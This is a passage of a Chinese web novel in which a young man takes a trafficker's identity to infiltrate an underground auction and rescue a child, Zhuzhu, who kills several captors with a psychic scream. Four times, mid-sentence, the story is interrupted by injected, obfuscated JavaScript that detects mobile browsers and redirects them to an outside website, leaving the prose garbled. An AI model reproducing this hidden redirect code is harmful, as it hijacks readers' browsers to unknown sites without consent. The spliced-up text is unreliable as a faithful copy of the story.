但程书阑早有准备。 下一秒,半块砖头准确无误地拍在帽子男的太阳穴上,沉闷的声响叫人牙酸不已。 在惯性的带动下,程书阑的身体都晃过去了半圈,没等他站稳,帽子男已经倒下。 刚才用力过猛,他眼前阵阵发黑,心跳快得仿佛心脏要从嗓子眼里蹦出来,他连忙扔掉砖头,踉踉跄跄地扶在墙壁上喘了好几口气。 等缓过神来,他马不停蹄地检查帽子男的情况。 人没事,只是昏过去了。 程书阑犹豫了下,到底做不出直接把人拍死的行为,他以最快的速度扒掉帽子男的大衣和帽子,想了想还是把里面的毛衣也换了。 帽子男身高一般,但身形偏瘦,衣服穿在程书阑身上除了有点短外,其他都很合适。 程书阑还在大衣兜里摸到了星星旅馆的门卡。 他给帽子男裹上自己的衣服,然后将帽檐往下一压,背起帽子男跌跌撞撞地回了旅馆。 不知为何,这一带的监控非常少,可以说几乎没有,他之前特意看过,连星星旅馆的大门都没安装监控。 老头依然坐在木桌后面,闭着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647795|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,不知道哪儿来这么多瞌睡。 程书阑生怕撞到那个魁梧男,不敢耽搁丝毫,直到实在背不动帽子男了,才把人扔到地上,拖着衣服往前走。 好不容易来到1042房间,他把人拖进去,关上房门并反锁。 此时,悬着的心终于落地。 程书阑靠在门上休息许久,像是灵魂逐渐归位,他虚弱地抬手摘掉帽子,走向放在茶几上的那个手提箱。 手提箱应该是帽子男带来的,上面卡着的数字就是密码。 他轻轻一按。 箱子咔嚓一声开了。 随着箱盖的打开,里面一堆绳子、胶布以及许多没有包装也没贴任何标签的瓶瓶罐罐全部暴露在程书阑的视线里。 用脚趾头想也能猜到这些东西准备用到谁身上。 箱子中间似乎还有一个隔层。 程书阑发现了这一点,伸手在箱子内侧摸了摸,还真摸到了一个卡扣。 他把上面的东西都拿出来,解开卡扣,揭开隔层,只见下面严丝合缝地卡了一层泡沫。 泡沫里被挖了几个洞,洞里则嵌着两把黑亮的手/枪和几个弹夹。 程书阑一时安静。 他活了十八年,除了上次在超市老板那里看到手/枪外,这是他第一次接触这种以前在电视里才能看到的东西。 他小心地扣出一把手/枪,拿在手里试了下。 很轻。 好像以前拿着手机一样。 他仔细观察许久,把手/枪放了回去,接着拿起两捆绳子和几个胶布,大步流星地走向倒在门前的帽子男,他直接把人包成一个粽子,用胶布缠满整张脸,只露出一个用于呼吸的小孔,然后将人塞进了柜子下面的小空间里。 帽子男的通讯器可以刷信用点,程书阑去外面吃了东西,没等天黑,便回旅馆躺在了床上。 奔波一天下来,他又累又困,不多时,眼皮开始打架。 第二天,程书阑被一阵敲门声吵醒,他手忙脚乱地从床上爬起来,衣服没脱,只需要扣上帽子就行。 他站在门前深吸口气,放平心态后,拧开门把手。 被帽檐遮挡了一半的视线里出现两个壮硕男人的下半身,他心头一跳,当即将视线往上抬去,余光看见两张陌生面孔,卡在喉咙里的那口气松了一些。 但只是一些。 程书阑不知道这两个人是谁,只能默不作声,静观其变。 好在其中一人主动开口道:“老板,我们现在要做什么吗?” 粗犷的声音里居然带了一丝讨好。 程书阑装模作样地拿出通讯器看了看时间,想到昨天帽子男的话,他说:“时间快到了,等会儿你们和我一起下去。” 两个男人同时点头,还是那个人说:“老板,你有什么事尽管吩咐就行。” 程书阑没让两人进房间,关上门后,他一边收拾一边仔细回想昨天帽子男那些话的细枝末节。 帽子男说的“下去”。 “下去”是什么意思? 藏人的地方在下面吗? 他站在卫生间里,将毛衣的衣领拉高,又把帽檐往下压了压,才走出去让等在外面的两人跟上。 程书阑打算去昨天莱特医生和帽子男经过的地方碰碰运气,谁知刚走过去,就发现了走廊尽头那扇被涂成黑色的房间门。 十分显眼,让人想不注意都难。 而且门敞开着。 不用进去就能看到通往下面的楼梯。 程书阑:“……” 他昨天找得那么艰难,以为藏人的地方在一个非常隐蔽的位置,甚至把很多房间的衣柜和床底都翻了个遍。 结果—— 入口就这么光明正大地摆在这里? 5. 买人 程书阑让两个男人紧跟自己,谨慎地往楼梯下走。 他双手揣在大衣兜里,箱子里一共两把手枪,正好一个兜里放一个。 但他不敢碰到手枪,生怕走火。 虽然昨天在帽子男的通讯器上搜了手枪的用法,但是毕竟还没上手,很多知识只停留在理论上面。 其实他还尝试过用帽子男的通讯器联系其他人。 可惜这里的通讯器和他以前用的手机大不一样,他研究半天,发现通讯器只能联系通讯录上的人,就像他用原主的私人通讯器无法联系学校一样,要联系学校只能用学校发的那个通讯器。 唉。 程书阑在心里叹口气。 走下楼梯又是一条狭窄的通道,地面由石砖砌成,其他三面都是被拍结实的土墙,左右两边装有灯泡,形成两条明亮的光线,笔直地通往前方。 尽头又是一扇被涂成黑色的门。 推开门,视线豁然开朗。 面前是一个不大不小的会客厅,只在中间放了沙发和茶几等简单摆设。 不过这会儿厅里已经或坐或站了好些人,不知道那些人是否认识,程书阑走进去时,里面没有一点交谈声。 他走进去后,所有人的目光都不可避免地落到他身上。 程书阑第一次经历这种事,身体不受控地绷紧,他只能尽量迫使自己冷静下来。 他环视一圈室内,发现正对面有一扇通往里面的门,但门紧闭着,那些人也都是一副在外面等待的样子,便坐到了离进来的门最近的沙发上。 两个男人一直紧跟着他,见他坐下,也一左一右地护在沙发两侧。 落在身上的视线数量逐渐减少,被观察的感觉有所减轻,程书阑才将手从兜里拿出,装模作样地翘着二郎腿,双手交叠地放在腿上。 实际上他手心里已经溢出一层细汗。 等了十来分钟,又有一些人从外面进来,大部分人和他一样带了随从,大家三三两两地聚在一起,会客厅里一下子变得十分拥挤。 这时,里面的门打开,一道女声响起。 “各位久等了。” 坐在沙发上的人迫不及待地站了起来,只有程书阑愣了一下。 他连忙起身,默不作声地站在迅速向那扇门靠拢的人群后面。 悄悄抬头看去。 被围在人群前的女生果然是他在沃斯诊所里碰到的那个护士,那天对方以为他是感染者,盯着他的脸观察了很久。 程书阑的心都凉了半截,大气不敢喘,跟在一个高个男人身后往里面走。 女生还在前面高声介绍:“大家都是这里的老熟人了,想必这次来的目的也很明确,我就不绕弯子了,货物已经准备好,至于能不能带走,就看各位有多少诚意了。” 高个男说道:“一个omega而已,又不是没见过,至于稀罕成这样吗?” 旁边有人接话:“你把整个第9城翻一遍,看能不能找到第二个omega。” “这些年偷偷跑来我们外城的omega还少了?”高个男说,“听说前不久主城的军事学院举办新生演练,就送了很多alpha和omega来我们第9城,要是能趁机抓住一个omega,估计未来五年都不用工作了。” 前面有人开口:“那些omega可不是被alpha养在家里生孩子的娇花,你敢碰他们?头都给你拧下来。” 高个男发出一声不屑的嗤笑:“你也太看得起那些omega了。” “omega也有精神力。” “omega的精神力能和alpha比?不过是进化着玩儿罢了。” “行了,别再说不相干的话题了。”终于有人不耐烦地打断了这场谈话,他对走在最前面的女生说,“我今天第一次过来,还没见过那个omega,能先带我看看吗?” “当然可以。”女生回答。 门后是一条较为宽敞的走廊,地面上铺有柔软的红色地毯,女生本来领着他们往前走,闻言便转进了右边的一条走廊。 走到左边第二个房间外,女生停下脚步,将门打开。 但她并未进去,而是站在门外另一侧,对后面的人做了一个请的手势。 程书阑走在最后,等前面的人都进去了,他才埋头往里走。 从女生面前经过时,对方冷不丁地冒出一句:“等等。” 刹那间,程书阑感觉自己的呼吸和心跳同时一抖,灵魂都要从身体里飞出去了。 他下意识地刹住脚步,将紧张得不知该如何安放的双手握紧成拳放回兜里。 “怎么了?”他微偏过头,用压低的声音问道。 余光中女生面对着他,如炬的目光直勾勾地落在他的脸上。 这一刻,程书阑混乱的脑子里开始闪出自己被发现身份后所有可能会出现的画面,毫无疑问,不管在哪个画面里,他的下场都不怎么好。 等待的时间格外漫长,一秒钟仿佛被延长成了一分钟,一分钟又分裂成了无数个一小时。 不知道过了多久,也许只有片刻,女生礼貌地说:“不好意思,先生,里面空间小,您一个人进去就可以了。” 程书阑一愣,扭头看了一眼跟在自己身后的两个男人,明白过来女生的意思后,他松口气的同时,吩咐道:“你们就在外面等。” 里面的空间确实不大,一间小卧室,没有任何家具,只有墙角堆着一条凌乱的毛毯。 此时,毛毯上面蜷缩着一个小孩。 程书阑走在最后,却一眼就认出了诸珠,熟悉的背带裤和毛衣都比之前脏了不止一点,柔软的黑发乱蓬蓬地顶在脑袋上,脸蛋也脏兮兮的,额头上甚至有一条已经凝固的血痂。 看得出来诸珠在被抓前有多拼命地想要逃走。 面对一群突然涌进房间里的陌生人,诸珠习以为常,既没哭闹也没表现出害怕的模样,他背抵墙角,双手圈着膝盖,一动不动地垂眼望着自己的黑色小皮鞋。 那张小脸没有表情,显得麻木又冷漠。 房间里很吵,很多人都在说话。 “怎么回事?把人弄成这样,都拿出来卖了也不知道给他收拾一下?” 房间的门没关,女生站在外面,耐心解释道:“这个小omega的脾气不好,给他收拾的时候,咬了我们的人一口,都把手臂上的肉咬下来了,我们暂时动不了他,只能麻烦买主回去帮他收拾了。” 还是高个男开口:“他额头上有条疤?omega的精神力不是可以治愈吗?他连自己都治愈不了?” “他的年纪还小。”女生继续解释道,“alpha和omega的精神力都需要专人指导,有些ao从落地起就有人教导,但有些ao家里条件一般,等年满六岁上小学后才有老师教导,他可能是后者。” “测过他的精神力等级了吗?”有人问道。 女生笑了笑:“这就不是我们该做的了。” 验货结束,女生招呼大家出去,程书阑排在最后,也刚好在这个时候走到诸珠面前。 诸珠低着脑袋,小小的身体缩成一团,看似对房间里发生的一切都毫无反应,但细看之下就会发现那双拽着裤子的手一直在微微发抖。 程书阑轻咳一声。 诸珠似乎对他的声音十分熟悉,当即一僵。 程书阑已经观察到这个房间里没有监控,唯一担心的是诸珠情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647796|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失控,看到他后不管不顾地朝他扑来。 幸好他的担心是多余的。 诸珠甚至没有立马抬头,又呆坐了一会儿,才抬起眼皮飞快地往上瞥了一下。 一大一小、一站一坐。 就这么四目相对。 这一瞬间,程书阑看到了那张小脸上的震惊和委屈,滔天的情绪在一秒内聚集起来,又一下子全部散开。 诸珠很快垂下眼皮,将自己的双腿抱得更紧。 程书阑对诸珠没有感情,更没把这个陌生小孩当成自己儿子看待,可看到这一幕时,心里很不是滋味。 在他昏迷不醒的那几天里,都是这个小孩在照顾他。 走出房间,女生带着大家去了原来走廊上的一间会议室,里面已经有不少人在等着,都是卖方的人。 程书阑不动声色地打量一圈,没有看到莱特医生和那个魁梧男的身影。 保镖依然不能进来,外面乌泱泱地站了十多个人,剩下的人在会议室里各自落座,女生站在长桌一头,开始讲这次卖货的规矩——简而言之,价高者得。 程书阑听得有些紧张。 其实他的计划很简单,就是用信用点把诸珠买下来,但前提是帽子男账户里的信用点够用。 昨天他按照原主的记忆查了一下帽子男账户里的信用点,一共三十多万,也就是说,如果其他人肯出高于三十多万的价格,那他就没戏了。 除非这里可以赊账。 但想也知道不可能,也许在他提出赊账之后,还会和那个魁梧男碰上。 好不容易等女生讲完,程书阑屏息凝神,听见女生报出了第一个数字:“我们的底价是三十五万信用点。” 程书阑:“……” 女生说:“好了,大家可以出价了。” 程书阑:“……” 如果他没记错的话,帽子男通讯器里的信用点刚好差几百到三十五万。 这也太穷了吧! 过来买人却连起拍价都没有! “四十万。”高个男率先说道。 旁边的人一见急了,连忙加价:“我出五十万。” 程书阑再也坐不住了,趁着其他人激情出价,他起身就往会议室外走,还好会议室里有高个男带头吵闹,没人注意到他。 只有守在外面的两个男人朝他走来。 “你们不用跟着我。”程书阑说,“我去趟卫生间。” 两个男人忙说好的。 程书阑一边走一边以最快的速度回忆下来后看到的监控数量。 监控数量不多,下来的楼梯上有一个,会客厅有一个,每条走廊上各有一个,房间里和会议室里没有。 不知道是不是监控数量有限,目前看来,监控都安装在房间外面。 而且这里看守不严,好像除保镖外的所有人都集中在了会议室里,外面根本没有守门和巡逻的人。 程书阑把手伸进兜里,轻轻握住手枪。 就在他走到走廊的交汇口时,余光里突然瞥见一道高大身影,竟然是那个魁梧男从会客厅的方向过来了。 好在魁梧男手里拿着通讯器,在听对面的人说话,没有发现他。 程书阑的心脏还是骤缩了下,赶紧躲进另一条走廊里,他没多耽搁,马不停蹄地拧开了左边第二扇房间门。 诸珠还在角落里缩着,看清楚他后,一骨碌地从毯子上爬起来,等他走近,用力扑进他怀里。 “爸爸!”诸珠紧紧抱住程书阑的脖子,他不敢发出太大声音,只用小小的气音呜咽,“我以为你不要我了呜呜呜……” 小孩的眼泪说来就来,眼眶一红,泪水就跟豆子似的一颗接一颗地往下掉。 6. 他真的是Omega?! 程书阑不会抱小孩,手在半空僵了一下,才放到诸珠背上轻轻拍了拍。 “好了好了。”他小声说,“不哭了。” 眼泪鼻涕都擦他脖子上了! 诸珠害怕极了,全然没了之前的麻木和冷漠,挤在程书阑怀里的小身板抖个不停,乱蓬蓬的头发和脏兮兮的脸倒是没往程书阑的脖子上蹭了,但蹭在他的下巴上,嘴里喊着爸爸。 “好了!”程书阑加重语调。 怀里的哭声戛然而止。 程书阑低头看去,对上了一双水汪汪的大眼睛,乌黑的眼珠里夹着怯弱和一丝讨好。 “爸爸……我不哭……”诸珠打着哭嗝,说完立即咬住下嘴唇,生怕声音溢出一点。 程书阑之前就察觉到了,诸珠似乎很害怕他,跟受惊的兔子似的,经常被他的一句话或者一个眼神吓到,但意外的,诸珠又很黏他。 他叹了口气,索性抱着诸珠站起来。 可站到一半,就感觉到了一股阻力。 程书阑偏头一看,发现诸珠的一只脚腕上居然绑着一条不粗不细的绳子,绳子约有一米长,另一头绑在墙角的一个铁钩上。 难怪诸珠一直缩在墙角。 程书阑立刻把诸珠放回毯子上,让他坐好,试图解开诸珠脚腕上的绳子。 然而绳子打了死结,他解了半天,额头上的汗都冒出来了,可死结没有丝毫松动的迹象。 只用手解根本不行。 需要工具。 程书阑这才想起什么,连忙直起身,在裤兜里摸索片刻,很快掏出一把掌心大小的折叠匕首。 匕首细如钢笔,握柄处有一个暗扣,他拇指在凹槽处用力一抵,只听咔的一声轻响,一截短而锋利的刀身瞬间弹出。 这是他昨天吃饭时顺手买的,虽算不上正经匕首,但胜在隐蔽。 “我割绳子了。”程书阑将刀刃贴上绳子,对诸珠说,“疼了就说。” 诸珠的嘴唇咬得发白,用力点了点头。 程书阑实在看不下去:“我没说你不能说话。” 诸珠一喜,马上开口:“好的,爸爸。” 声音里都带着哭腔。 外面的走廊上,魁梧男刚结束通话,他收起通讯器,大步走向会议室。 会议室门外守着十余名保镖,他目光冰冷地扫视一圈,随即推门而入。 嘈杂的声浪从门后扑面而来,里面众人七嘴八舌,争论不休,现场聒噪不已。 魁梧男人眉头一拧,猛然抬手,一拳砸在门板上。 “砰!” 震耳的撞击声中,原本光滑的门板瞬间龟裂,细密的裂纹如蛛网般蔓延开来。 刹那间,所有的声音都消失了。 众人的目光齐刷刷地转向门口,当看清来人的面容和魁梧的身形时,那些即将脱口而出的不满被硬生生咽了回去,一时间会议室里鸦雀无声。 最后,还是站在会议室一头的女生朝魁梧男抬了抬下巴:“来了?” 魁梧男进去拉开一把椅子坐下,才问:“进展怎么样?” 女生揉了揉太阳穴,语气疲惫:“你也看到了,那个小omega太抢手,他们差点就要动手了。” “莱特医生说过,价高者得。”魁梧男声音冷硬,“别在这里浪费时间了。” 女生点了点头,重新整理思路。 魁梧男默不作声地坐着,有他镇场,就连刚才闹得最凶的高个男此刻也缩在座位上,大气不敢出,但魁梧男没把高个男放在眼里,目光不动声色地在会议室里巡视。 不多时,他蓦地抬手打断了女生正在说的话。 女生疑惑道:“怎么了?” “人数不对,少了一个。”魁梧男猛地起身,又确认一遍,脸色沉了下去,“那个姓王的去哪儿了?” “王老板?他不是在……”女生抬手一指,却指到了一个空空如也的座位,顿时僵住。 魁梧男二话不说,转身走出会议室。 他高大的身躯带着骇人的压迫感,门外的保镖们纷纷低头缩肩,目送他大步走回走廊的交汇口。 魁梧男径直转进另一条走廊,右手拔出腰间手枪的同时,左手拧开了左边第二扇房间门的把手。 打开门,他将枪口对准里面。 里面空荡荡的,只有一个小孩蜷缩在墙角的毯子上,瞧见他后,小孩瑟瑟发抖,双手把膝盖抱得更紧。 魁梧男看了一眼绳子。 还在。 房间里没有其他东西,要是来人,根本无处躲藏。 魁梧男环视一圈,直勾勾的目光落回小孩身上,就这么看了好几秒,他收回目光,退出房间。 关上门,女生带着一群人堵在走廊的交汇口。 “找到了吗?”女生问。 “没在里面。”魁梧男命令道,“让所有人一起找,必须把他找出来。” 房间里,门被合上,程书阑的身影才从门后显露出来,他紧贴着墙壁,几乎与阴影融为一体,胸口因过度紧张而剧烈起伏,整张脸褪尽了血色。 他凝神听了片刻,没听见有人回来,便一个箭步冲到诸珠面前,把虚缠在小孩脚腕上的绳子拿开。 他伸手抱起诸珠。 诸珠非常配合地圈住他的脖子,屁股坐在他的一边手臂上,脸颊贴着他的脖子。 小孩很瘦,却也有二三十斤的重量,程书阑抱得非常吃力,他走到门前,脑子里已经乱作一团。 房间里没有窗户,要出去只能走这扇门,可想也知道从这里出去有多困难,估计他们还没走到外面的会客厅就被那些人抓住了。 要出去太困难了。 几乎是不可能的事。 除非他放弃诸珠,继续假扮帽子男,等拍卖结束,他和其他人一起离开。 但那个魁梧男来了,对方可能认得他。 再说—— 程书阑低头看向诸珠。 诸珠刚才哭了半天,眼眶还是红的,一双乌黑眼珠上似乎笼着一层水雾。 察觉到他的视线,小孩仰头和他对视,然后轻轻喊了一声:“爸爸。” 程书阑摸了摸诸珠的背,把小孩放下:“你跟在我后面。” 诸珠连忙拽住程书阑的衣服。 程书阑摸出一把手枪,拿在手里找了找感觉后,轻手轻脚地贴近房间门。 他左手搭上门把手,往旁轻拧。 从这个房间到会客厅的距离其实不远,大约二十几米,转过前面那个弯后一直往前跑就能跑出去。 只要这会儿外面的人不多,他就还有一点机会。 程书阑深吸口气,想先看看外面的情况,小心翼翼地将门拧开一条缝隙,却见外面一片漆黑。 他愣了一下。 外面什么时候把灯关了? 不过下一秒,他意识到了不对劲,本能地抬头,就看到了门缝外那张只露出一点的阴沉面孔。 魁梧男不知何时堵在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647797|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,高大的身形遮住了外面的所有光线,他居高临下地望着门缝里的程书阑。 程书阑:“……” 他呼吸一紧,心跳差点骤停。 反应过来后,他提枪就要往魁梧男身上打,谁知对方动作速度极快,猛然后退半步,抬脚就往门上踹。 这一脚的力道极大。 被踹飞的门板撞到猝不及防的程书阑身上,一阵剧痛袭来,好像五脏六腑都被撞移了位置,他甚至也往后“飞”了半米,重重摔到地上。 手枪也不知道落到了哪里。 “原来是你。”魁梧男一眼就认出了他,大步走进房间里。 程书阑还没从地上爬起来,就被魁梧男揪着衣服一把拎起来。 他毫无反抗之力,前几天那种头晕目眩的感觉又回来了,他喉间涌出一阵腥甜,张嘴吐出一口血。 “爸爸!”诸珠吓坏了,又哭又叫地扑过来,挥起拳头砸向魁梧男,“坏人,放开我爸爸!” 魁梧男用膝盖往前一顶,轻轻松松地把诸珠顶开了。 诸珠一屁股坐到地上,摔了个四脚朝天,但他马上手脚并用爬起来,又要扑向魁梧男。 这时,其他人从门口窜进来,以女生为首按住了疯狂挣扎的诸珠。 诸珠尖叫得更加大声,扭头一口咬在女生的手臂上。 女生痛呼一声,想推开诸珠的脑袋,没想到诸珠双手抱住她的手臂,咬得越来越用力。 下面有暖气供应,比上面暖和很多,女生穿得不厚,却也有两件衣服,然而即便如此,鲜血也以肉眼可见的速度在她的衣服上洇开。 女生扯着嗓子尖叫:“把他扯开啊!” 其他人见状,手忙脚乱地要把诸珠和女生分开,女生气急败坏,直接抡起胳膊肘往诸珠的脑袋上砸。 诸珠不躲不避,硬生生地受着,痛得小脸上的表情都狰狞了。 “诸珠!”程书阑看得心惊肉跳,一股难以言喻的愤怒从他心头涌出,他破口大骂,“你们这些畜生,他是小孩啊,你们连小孩都打!” 他想过去,却依然被魁梧男抓着,急得挥手就朝魁梧男脸上去。 魁梧男偏头避开他的拳头,随即猛一抬膝。 剧痛再次袭来。 这次程书阑几乎发不出声音,捂着腹部,被魁梧男扔到地上,像只死虾一样地蜷缩起来。 “爸爸!” 他听见了诸珠的哭叫,勉强睁眼,看到诸珠松开了女生的手臂,要往他这边来,却被那些人七手八脚地按住。 “爸爸!爸爸!”诸珠的叫声越来越尖利,不多时,竟然化作了令人毛骨悚然的尖叫。 那尖叫声如同巨石坠入深潭,在空气中激荡开一圈圈无形的波纹。 距离诸珠最近的女生蓦地一颤,鲜血骤然从她的七窍中喷涌而出,她瞪大双眼,喉咙里挤出半声呜咽,似乎想要挣扎起身,可起到一半,她的身体便重重栽倒,再无声息。 ……她死了。 刹那间,整个房间的空气仿佛被抽空了一瞬,继而炸开。 跟着女生冲进来的几人脸色剧变,惊恐地互相推搡着往门外逃窜,却还是陆续倒下了两三个,这下就连魁梧男也瞳孔骤缩,不动声色地后退了两步。 门外传来此起彼伏的骚动。 “怎么可能?!那个孩子居然会精神力攻击?!” “这不是只有alpha才有的能力吗?!” “他真的是omega?!” 7.好爸爸 程书阑踉跄着撑起身子,甩了甩头,等视线变清明了些,第一时间捡起掉在地上的手枪。 诸珠扑过来抱住他的腿,声音带着哭腔:“爸爸,你别死,别丢下我!” 程书阑揉了揉诸珠的头发,顺势把手撑在小孩的脑袋上,他借力喘了口气,眩晕感仍在脑内晃荡,好在地板不再倾斜。 以魁梧男为首的人已经退到房间外面,神情各异地盯着他们。 他看了一眼诸珠。 小孩被他身体的重量压得龇牙咧嘴,依然用全身力气地支撑着他,脊背绷成一张弓。 程书阑想把诸珠抱起来,却实在有心无力,只好牵起诸珠的一只手。 他将枪口对准魁梧男:“放我们出去。” 魁梧男的视线始终黏在诸珠身上,他对程书阑的威胁置若罔闻,但对诸珠的忌惮十分明显。 “他是你儿子吗?beta要生一个alpha孩子可不容易,尤其是我们这些外城居民……” 程书阑还没傻到察觉不出对方在有意拖延时间的地步,厉声打断:“我说放我们出去!” 魁梧男缓缓将视线挪到程书阑身上,那道纵贯半张脸的疤痕让他看上去异常凶狠,他前走了半步:“你看起来年纪不大,还不知道一个alpha多有价值,他可以帮你挣很多钱,只要你……” 话没说完,程书阑扣动扳机。 枪声在密闭空间里炸响。 这是程书阑第一次开枪,说不紧张是不可能的,手枪震感不大,可他还是感觉虎口微微发麻。 他对准了魁梧男的心脏位置,结果子弹偏移,飞入魁梧男的腹部。 魁梧男愣了一下,低头扯开衣服,露出了里面被嵌在防弹衣上的子弹。 程书阑:“……” 所以手枪从一开始就没什么用,除非他有一枪爆头的本事。 他立即调整枪口指向对方头部,同时牵着诸珠往前逼近。 人群顿时骚动起来,那些人对诸珠的恐惧肉眼可见,没等他们靠近,便如躲避瘟疫般推搡着向后退去。 魁梧男也被迫一步步后退,直到退到外面的走廊上,他从牙缝里挤出一句:“好,我放你们走。” 说完,向旁人使了一个眼色。 旁人会意,迅速分开拥挤的人群,硬生生在混乱中辟出一条狭窄的路。 程书阑攥紧诸珠的手,一路跌跌撞撞冲回会客厅,他们走出大门,穿过地下通道,终于踏上回到地面的楼梯。 地下走廊里,嘈杂的说话声逐渐填满安静的空气。 “到底怎么回事?好好一个omega变成alpha就算了,现在还被人带走了,我大老远跑过来是为了什么!” “你们得给我们一个交代!” “alpha也行,反正年纪小,虽然不能像omega那样让他一直生ao性别的孩子,但是也有其他用途,你们把那个小alpha找回来,这笔生意还是做得成。” 魁梧男始终沉默,目光扫过房间里横七竖八且死状恐怖的几具尸体,他忽然转身。 现场此起彼伏的说话声戛然而止。 魁梧男拨开人群,径直朝后面走去。 两个男人缩在人群边缘,面若土色,对上魁梧男阴鸷的目光,大气都不敢出。 魁梧男伸手掐住其中一个的脖子:“你们早就知道了?” “嗬嗬……”被掐住的男人双脚悬空乱蹬,脸色迅速由红转青,他徒劳地挠着魁梧男的手臂。 另一人吓得瘫软在地,声音发颤:“我、我们不知道,今早过来的时候,他就是这个人了,我们不知道他什么时候换人了!” 魁梧男纹丝不动。 “我说的都是真的,我们真的什么都不知道……” 突然,魁梧男五指一松。 被掐的男人重重摔在地上,像条脱水的鱼般蜷缩着,张着嘴疯狂咳嗽。 魁梧男俯下身,阴影完全笼罩两人:“你们上次和他联系是什么时候?” “就是昨天!”那人忙道,“我们和他在通讯器上联系的,他还让我们记得今天按时过来!” “见面呢?” “那是很久以前了,他一直戴着帽子,看不清脸,我们跟着他干了几次活,都不知道他长什么样。” 魁梧男沉默片刻,起身向旁人吩咐道:“去他住的房间找找线索,顺便和他上面的人联系一下,看那些人怎么说。” 另一头,程书阑带着诸珠沿来时的路快步离去。 没走多久,诸珠的脚步越来越沉,攥着程书阑衣角的手指也渐渐脱力。 程书阑回头看到诸珠小脸惨白,单薄的肩膀剧烈起伏,不由放慢脚步。 “走不动了?” “走……走得动……”诸珠像是被他的话吓到了,连忙打直身体,一边喘气一边断断续续地说,“爸爸……我、我走得动……你别丢下我……” 话音未落,程书阑在前面蹲下身。 “上来。”他说。 诸珠愣住,一时间没动,不可思议地喊了一声:“爸爸?” “快上来。”程书阑催促,“我背你。” 诸珠高兴极了,扑到程书阑背上,双臂环上他的脖子,脸颊在他的耳朵上蹭了蹭:“爸爸,你是我的好爸爸。” 程书阑嗯了一声。 “爸爸。”诸珠说得很小声,又无比认真,“我爱你,爸爸。” 程书阑:“……” “爸爸,你爱我吗?” 耳朵被小孩呼出的热气弄得发痒,程书阑实在受不了:“爱爱爱,你是我的好大儿,不爱你爱谁?” 诸珠嘻嘻一笑,把他的脖子搂得更紧。 程书阑一脚深一脚浅,走得颇为吃力,但慢慢的,不知道是不是他的错觉,身上的疼痛竟然在隐隐约约地开始减轻。 回到那栋废弃楼前,他的脚步已比之前快了不少。 他走进那家超市。 熟悉的门铃声响起。 这次女人没在柜台后面坐着,而是拉了一个推车正在补货,瞧见程书阑背上的诸珠,她问:“孩子找到了?” “嗯。” 程书阑弯腰想把诸珠放到地上,结果诸珠没有一点反应。 “孩子睡着了,你都没发现。”女人拉过柜台后面的椅子放在程书阑脚边,然后帮他扶住诸珠的背,“好了,放下来吧。” 程书阑小心地把诸珠放到椅子上。 诸珠靠着椅背,脑袋软软地歪到肩膀上,不知道他长得像谁,眼睫又密又长,垂下来跟小扇子似的。 他左边脸颊的中间有一颗很明显的小黑痣,此刻脸上脏兮兮的,把那颗小黑痣盖住了。 程书阑看了一会儿,这才意识到诸珠穿得不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658304|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上只有一件毛衣,里面连打底的衣服都没有。 他脱下外套盖到诸珠身上。 外套对诸珠来说很大,下半截都拖到了地上,他将多余的部分折叠起来,一股脑地堆在诸珠身上。 外套的重量压得诸珠皱了皱眉,但那双紧闭的眼睛没有睁开,小孩艰难地翻身换了个姿势,脸颊挤在椅背上继续睡了过去。 旁边的女人被这粗糙的手法惊到,想说什么,视线在程书阑和诸珠之间转了一圈,又什么都没说。 她连程书阑和诸珠遇到了什么事也没问。 程书阑在超市里买了一个很大的背包,往里面塞了他和诸珠的换洗衣物以及生活用品和食物等,又把超市里所有昂贵的营养补充剂都拿干净了。 用帽子男的通讯器结账时,女人没有表现出任何异样,等程书阑准备收起通讯器,女人抬起眼皮。 “这不是你的通讯器吧?” 程书阑没有否认。 